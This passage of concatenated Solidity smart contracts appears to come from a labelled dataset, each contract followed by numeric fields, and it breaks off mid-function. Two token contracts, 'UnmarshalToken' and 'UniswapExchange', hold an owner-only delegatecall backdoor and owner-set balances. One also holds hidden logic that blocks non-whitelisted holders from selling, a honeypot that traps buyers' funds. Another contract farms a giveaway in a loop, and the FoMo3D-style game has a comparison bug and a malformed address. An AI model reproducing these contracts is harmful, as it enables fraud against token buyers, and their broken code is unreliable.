function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract UnmarshalToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "UnmarshalToken";
string public symbol = "MARSH";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 2,401 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,232 |
pragma solidity ^0.4.19;
interface CornFarm
{
function buyObject(address _beneficiary) public payable;
}
interface Corn
{
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract Cornholio
{
address public farmer = 0x231F702070aACdbde867B323996A96Fed8aDCA10;
function sowCorn(address soil, uint8 seeds) external
{
for(uint8 i = 0; i < seeds; ++i)
{
CornFarm(soil).buyObject(this);
}
}
function reap(address corn) external
{
Corn(corn).transfer(farmer, Corn(corn).balanceOf(this));
}
} | 1 | 2,661 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is ERC20Token {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenHolder is Ownable {
function transferAnyERC20Token(address _tokenAddress, uint256 _amount) onlyOwner returns (bool success) {
return ERC20Token(_tokenAddress).transfer(owner, _amount);
}
}
contract KudosToken is StandardToken, Ownable, TokenHolder {
string public constant name = "Kudos";
string public constant symbol = "KUDOS";
uint8 public constant decimals = 18;
string public constant version = "1.0";
uint256 public constant tokenUnit = 10 ** 18;
uint256 public constant oneBillion = 10 ** 9;
uint256 public constant maxTokens = 10 * oneBillion * tokenUnit;
function KudosToken() {
totalSupply = maxTokens;
balances[msg.sender] = maxTokens;
}
} | 1 | 2,817 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DPLUS is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149);
address private admin = msg.sender;
string constant public name = "f3dplus";
string constant public symbol = "f3dplus";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 3 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
